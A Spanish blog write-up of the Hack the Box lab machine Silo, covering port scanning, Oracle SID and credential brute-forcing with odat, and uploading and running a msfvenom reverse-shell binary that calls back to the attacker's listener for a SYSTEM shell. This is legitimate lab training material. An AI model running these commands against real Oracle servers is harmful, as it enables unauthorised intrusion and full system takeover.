En este post voy a vulnerar la máquina Silo de Hack the Box. Es una máquina Windows de nivel medio basado en Oracle que se puede vulnerar de forma MUY sencilla sin necesidad de hacer escalada de privilegios.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- --min-rate 10000 -n --open 10.10.10.82

En la máquina hay dieciséis puertos abiertos. Escaneo los ocho primeros puertos que he encontrado (ya que el resto son puertos dinámicos del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135,139,445,1521,5985,8080,47001 -sV -sC 10.10.10.82 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-28 17:06 CET Nmap scan report for 10.10.10.82 Host is up (0.12s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 8080/tcp open http Oracle XML DB Enterprise Edition httpd | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=XDB |_http-server-header: Oracle XML DB/Oracle Database |_http-title: 401 Unauthorized 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 14m06s, deviation: 0s, median: 14m06s | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: supported | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-11-28T16:20:38 |_ start_date: 2021-11-27T16:52:20 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.81 seconds
HTTP
He encontrado dos servicios http funcionado en los puertos 80 y 8080 respectivamente. Leo las cabeceras de los dos puertos pero no veo ninguna información nueva.
whatweb http://10.10.10.82:80/ whatweb http://10.10.10.82:8080/

Puerto 80
Accedo a este puerto por el navegador y encuentro la típica pantalla de IIS con la que no puedo interactuar.

No encuentro directorios, subdominios o ficheros asociados a este servicio por lo que dejó aquí la enumeración.
Puerto 8080
Accedo a este puerto por el navegador y me aparece un banner de autenticación.

Después de probar varias credenciales típicas sin resultado, me fijo en que al final pone el mensaje The site says: "XDB". Buscando un poco de información relacionada con este mensaje, me dirijo a la ruta http://10.10.10.82:8080/apex, que me redijire a la ruta http://10.10.10.82:8080/apex/f?p=4550:1:4497279845931558, donde llego a la pantalla de autenticación de la plataforma Oracle Application Express.

Nuevamente pruebo varías credenciales por defecto pero no obtengo ningún resultado.
SMB – Puerto 445
Utilizo crackmapexec para enumerar el servicio smb pero solamente obtengo la versión del sistema operativo (que tampoco está mal).
crackmapexec smb 10.10.10.82

Intento acceder al smb con el cliente smbclient con el usuario NULL pero veo que está desactivado.

Explotación
Ya que no he podido acceder al Oracle en el servicio web, voy a explotar su base de datos (puerto 1521) con la herramienta odat.
Tengo dos opciones para instalar esta herramienta. Ya que se encuentra en por defecto en el repositorio de kali linux, puedo añadirla con un sudo apt install odat o bien puedo descargarla de su repositorio de github e instalarla a mano. La segunda opción es bastante mas tediosa pero tiene la opción de poder instalar plantillas de colores para los logs de salida lo que hace mas cómoda su lectura.
python3 odat.py --help


En primer lugar necesito obtener un SID válido. Leyendo las opciones de la herramienta, veo que lo puedo obtener con el parámetro sidguesser para buscar SIDs por fuerza bruta (utilizo el diccionario por defecto).
python3 odat.py sidguesser -s 10.10.10.82

Encuentro que XE es un SID válido.
Continuo buscando credenciales válidas para este SID. Leyendo las opciones de la herramienta, veo que lo puedo obtener con el parámetro passwordguesser para buscar SIDs por fuerza bruta. Voy a utilizar un diccionario muy bueno para credenciales de Oracle que posee Metasploit que puedo encontrar en la ruta /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt.
Viendo las opciones para utilizar mi propio diccionario, veo que la herramienta me exige que el usuario y la contraseña estén separados por una barra lateral (/).

En el diccionario, las credenciales están separadas por un espacio, pero esto puedo cambiarlo fácilmente con la herramienta tr.
cat raw_dicc.txt | tr ' ' '/' > dicc.txt

Ejecuto el comando y obtengo las credenciales scott:tiger.
sudo python3 odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-file /home/DrP1ng/ctf/htb/silo/dicc.txt

Con el parámetro utlfile de odat puedo, entre otras cosas, subir ficheros a una ruta que yo elija. Creo un binario malicioso para obtener una shell reversa con msfvenom y lo subo al directorio C:\Windows\Temp (aunque no tenga prueba de que exista, deduzco que si).
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=7897 -f exe > shell.exe
python3 odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Temp shell.exe shell.exe

El binario malicioso tiene que estar en el mismo directorio que el odat.py.
Si me aparece un mensaje indicando que no tengo permisos, solo tengo que añadir el parámetro
--sysdbaal final del comando (si al final del comando añado-h, obtengo esa indicación).
Por último solo tengo que ejecutar el binario y eso puedo hacerlo con el parámetro externaltable de odat. Pongo un netcat a la escucha por el puerto 7897 y ejecuto el comando para obtener la shell reversa.
rlwrap nc -nlvp 7897 python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec /Temp shell.exe


Como se puede ver en la imagen anterior, consigo una shell reversa directamente como nt authority\system, es decir, con permisos de adminsitrador, por lo que no tengo que hacer escalada de privilegios.
Flags
La flag de usuario la encuentro en la ruta C:\Users\Phineas\Desktop\user.txt.

La flag de root (administrador) la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

